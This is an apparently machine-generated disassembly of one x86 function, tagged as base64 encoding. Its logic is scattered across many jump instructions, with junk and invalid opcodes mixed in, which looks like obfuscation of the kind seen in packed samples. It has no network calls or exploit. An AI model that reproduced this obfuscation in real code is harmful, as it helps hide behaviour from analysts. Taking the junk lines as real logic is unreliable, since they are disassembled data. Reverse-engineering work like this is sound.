Function at 0x63c146
Capabilities:
Encode data using base64

Disassembly:
call fcn.0061b2f1
jmp 0x61b4eb
lea esp, [esp + 4]
jmp 0x61b6ab
jmp 0x61b523
jmp 0x61b53f
push ebp
jmp 0x61b55b
jmp 0x61b577
mov ebp, esp
jmp 0x61b593
jmp 0x61b5af
movzx eax, byte [ecx]
jmp 0x61b5cb
jmp 0x61b5e7
shl eax, 0x10
jmp 0x61b603
jmp 0x61b61f
cmp dword [ebp + 0xc], 2
jmp 0x61b657
jmp 0x64de81
jmp 0x61b673
jb 0x61b63b
jae 0x61b68f
push ecx
add ebx, esp
pop ds
lea ebx, [0x1329764]
nop
push es
popal
nop
push ebx
invalid
jmp 0x64d792
jmp 0x61b507
xchg dword [edi], edx
jb 0x61cbc1
insd dword es:[edi], dx
push 0xec1d7ae4
add eax, 0x3d1aeb49
int3
jmp 0x61cc9c
pop edx
test eax, 0x1aeb2f1e
and al, 4
add byte [0xa15237a7], bh
push es
xor dword [edx - 0x7bfc4bbb], ebp
mov ah, 0xd3
test eax, 0x87e072d1
jb 0x61cc3c
jmp 0x61ccb8
cmp dword [esp + 4], 0
jl 0x61ccdf
add al, 0
jmp 0x61ccf0
jmp 0x64fdcc
inc edi
and dl, cl
xor eax, ecx
push ebx
ret
jmp 0x61cd0c
je 0x61ccd4
jne 0x61cd28
or byte [eax + 0x16800062], al
jno 0x61cc98
je 0x61cd74
enter 0x395e, 0xffffffffffffffc8
and byte [ebx], ch
mov eax, 0x4db8492e
push ebx
rcl dword [ecx - 0x15], 0x1a
or byte [eax - 0x5994ff9e], al
jns 0x61cd20
jmp 0x61cd44
jge 0x61cd39
not dword [edi]
aam 0x41
sal dword [eax - 0x60f254bd], 1
punpckhdq mm3, qword [ecx + 0x58b6d4f]
or byte [eax + 0x14eb0062], al
jo 0x61cd98
mov eax, dword [0x628008]
jmp 0x61cd60
mov ebx, 0xe0811188
adc esp, dword [edi + 0x3a5fcf51]
leave
jle 0x61cda4
xlatb
inc edi
and dl, cl
jmp 0x61cd7c
fmul dword [esi + 0x29]
fsubr dword [edi + 0x40]
loop 0x61cdec
mov eax, dword [eax + 0x70]
jmp 0x61cd98
jmp 0x61cdb4
jmp [edi + 0xa]
push esi
jmp 0x61cdd0
jmp 0x61cdec
push dword [esp + 8]
jmp 0x61ce08
jmp 0x61ce24
push 0
jmp 0x61ce40
jmp 0x61ce5c
push 1
jmp 0x61ce78
jmp 0x61ce94
call eax
jmp 0x61ceb0
jmp 0x61cecc
mov esi, eax
jmp 0x61cee8
jmp 0x61cf04
mov eax, dword [0x628008]
jmp 0x61cf20
jmp 0x61cf3c
push 0
jmp 0x61cf58
jmp 0x61cf74
push esi
jmp 0x61cf90
jmp 0x64fdef
jmp 0x61b4ca
movzx edx, byte [ecx + 1]
jmp 0x64de36
shl edx, 8
or eax, edx
jmp 0x61b63b
cmp dword [ebp + 0xc], 3
jne 0x64df94
movzx ecx, byte [ecx + 2]
jmp 0x64df2e
mov edi, eax
shr edi, 6
jmp 0x64df69
mov edi, dword [ebp + 0xc]
jmp 0x64df3b
mov esi, eax
shr ecx, 0x12
pop edx
shr esi, 0xc
and ecx, edx
and esi, edx
cmp dword [ebp + 0xc], 2
jb 0x64dee1
jae 0x64dec3
invalid
or eax, ecx
jmp 0x64df94
cmp dword [ebp + 0xc], 3
jne 0x64dfda
and eax, edx
mov ebx, eax
jmp 0x65038f
and edi, edx
jmp 0x64df3b
push ebx
push esi
push edi
mov ecx, eax
push 0x3f
jmp 0x64df00
mov ebx, dword [ebp + 0xc]
jmp 0x65038f
xor edx, edx
cmp ecx, eax
setne dl
lea edx, [edx*4 + 0x2b]
jmp 0x64e644
cmp esi, 0x34
jmp 0x64e0d1
cmp esi, eax
jae 0x64e167
lea ecx, [esi - 4]
jmp 0x64e0ee
jae 0x64e079
jb 0x64e139
into
cwde
pop edi
jmp 0x61cc80
cmp dword [ebp + 0xc], 2
mov edx, dword [ebp + 8]
mov byte [edx + 1], cl
jmp 0x64e1ce
lea ecx, [esi + 0x47]
jmp 0x64e0ee
xor ecx, ecx
cmp esi, eax
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x64e0ee
mov byte [edx + 2], 0x3d
jmp 0x64e285
mov byte [edx + 3], 0x3d
jmp 0x64e4ec
cmp ecx, eax
jae 0x64dffa
lea edx, [ecx - 4]
jmp 0x64e644
jb 0x64e194
cmp edi, 0x1a
jae 0x64e334
lea ecx, [edi + 0x41]
jmp 0x64e20f
mov byte [edx + 2], cl
jmp 0x64e285
cmp edi, eax
jae 0x64e273
lea ecx, [edi - 4]
jmp 0x64e20f
xor ecx, ecx
cmp edi, eax
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x64e20f
cmp dword [ebp + 0xc], 3
jmp 0x64e2f6
lea ecx, [edi + 0x47]
jmp 0x64e20f
cmp ebx, 0x34
jae 0x64e37b
jb 0x64e518
sbb byte [edx + esi + 0x94aa455], bl
mov word [edx], es
xchg esp, eax
jge 0x64e289
arpl word [esi - 0x62], di
jne 0x64e1a0
cmp ebx, 0x1a
jae 0x64e2d7
lea ecx, [ebx + 0x41]
jmp 0x64e3ad
add byte [eax], al
add byte [eax], al
int3
cmp edi, 0x34
jae 0x64e247
push dword [edi + ecx]
or dword [edx], 0xffffffff
invalid
jb 0x64e2cb
jl 0x64e335
push 0xd
cld
aaa
jecxz 0x64e3b1
clc
lahf
push 0xffffffffffffff84
cld
jb 0x64e32e
xchg dword [edx - 0x6a], esi
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
popfd
or eax, 0xd247a754
or cl, bl
mov edx, 0xd83b580f
cmp ebx, eax
jae 0x64e3f5
lea ecx, [ebx - 4]
jmp 0x64e3ad
mov byte [edx + 3], cl
jmp 0x64e4ec
aaa
add dword [eax], eax
add byte [esi + 0x7ae5334], bh
pop edx
sbb byte [eax], ch
into
dec ebx
cmp esp, dword [edx + edi + 0x521bac5d]
int1
pop ds
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + eax*8 - 0x1328e146], bh
lea ecx, [ecx*4 + 0x2b]
jmp 0x64e3ad
xor ecx, ecx
cmp ebx, eax
setne cl
jmp 0x64e3d8
pop edi
pop esi
pop ebx
pop ebp
ret
lea ecx, [ebx + 0x47]
jmp 0x64e3ad
mov ecx, dword [ebp + 8]
mov byte [ecx], dl
cmp esi, 0x1a
jae 0x64e03e
lea ecx, [esi + 0x41]
jmp 0x64e0ee
cmp ecx, 0x34
jae 0x64e1bd
lea edx, [ecx + 0x47]
jmp 0x64e644
ret
call dword [eax + 0x78]
mov eax, dword [0x628008]
push esi
call dword [eax + 0x10]
pop esi
jmp 0x61ccd4
push 0x3e
pop eax
cmp ecx, 0x1a
jae 0x64ec83
lea edx, [ecx + 0x41]
jmp 0x64e644